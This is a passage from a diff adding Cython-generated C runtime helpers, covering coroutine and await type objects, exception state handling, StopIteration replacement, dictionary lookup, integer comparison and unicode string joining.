0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyUnicode_Unicode */ + static CYTHON_INLINE PyObject* __Pyx_PyUnicode_Unicode(PyObject *obj) { + if (unlikely(obj == Py_None)) + obj = __pyx_kp_u_None; + return __Pyx_NewRef(obj); +} + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* UnicodeConcatInPlace */ + # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +static int +__Pyx_unicode_modifiable(PyObject *unicode) +{ + if (Py_REFCNT(unicode) != 1) + return 0; + if (!PyUnicode_CheckExact(unicode)) + return 0; + if (PyUnicode_CHECK_INTERNED(unicode)) + return 0; + return 1; +} +static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ) { + PyObject *left = *p_left; + Py_ssize_t left_len, right_len, new_len; + if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) + return NULL; + if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) + return NULL; + left_len = PyUnicode_GET_LENGTH(left); + if (left_len == 0) { + Py_INCREF(right); + return right; + } + right_len = PyUnicode_GET_LENGTH(right); + if (right_len == 0) { + Py_INCREF(left); + return left; + } + if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { + PyErr_SetString(PyExc_OverflowError, + "strings are too large to concat"); + return NULL; + } + new_len = left_len + right_len; + if (__Pyx_unicode_modifiable(left) + && PyUnicode_CheckExact(right) + && PyUnicode_KIND(right) <= PyUnicode_KIND(left) + && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { + int ret; + __Pyx_GIVEREF(*p_left); + ret = PyUnicode_Resize(p_left, new_len); + __Pyx_GOTREF(*p_left); + if (unlikely(ret != 0)) + return NULL; + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; + #else + _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); + #endif + __Pyx_INCREF(*p_left); + __Pyx_GIVEREF(*p_left); + return *p_left; + } else { + return __Pyx_PyUnicode_Concat(left, right); + } + } +#endif + +/* IterFinish */ + static CYTHON_INLINE int __Pyx_IterFinish(void) { + PyObject* exc_type; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (unlikely(exc_type)) { + if (unlikely(!__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) + return -1; + __Pyx_PyErr_Clear(); + return 0; + } + return 0; +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* RaiseNeedMoreValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { + PyErr_Format(PyExc_ValueError, + "need more than %" CYTHON_FORMAT_SSIZE_T "d value%.1s to unpack", + index, (index == 1) ? "" : "s"); +} + +/* RaiseTooManyValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { + PyErr_Format(PyExc_ValueError, + "too many values to unpack (expected %" CYTHON_FORMAT_SSIZE_T "d)", expected); +} + +/* UnpackItemEndCheck */ + static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { + if (unlikely(retval)) { + Py_DECREF(retval); + __Pyx_RaiseTooManyValuesError(expected); + return -1; + } + return __Pyx_IterFinish(); +} + +/* 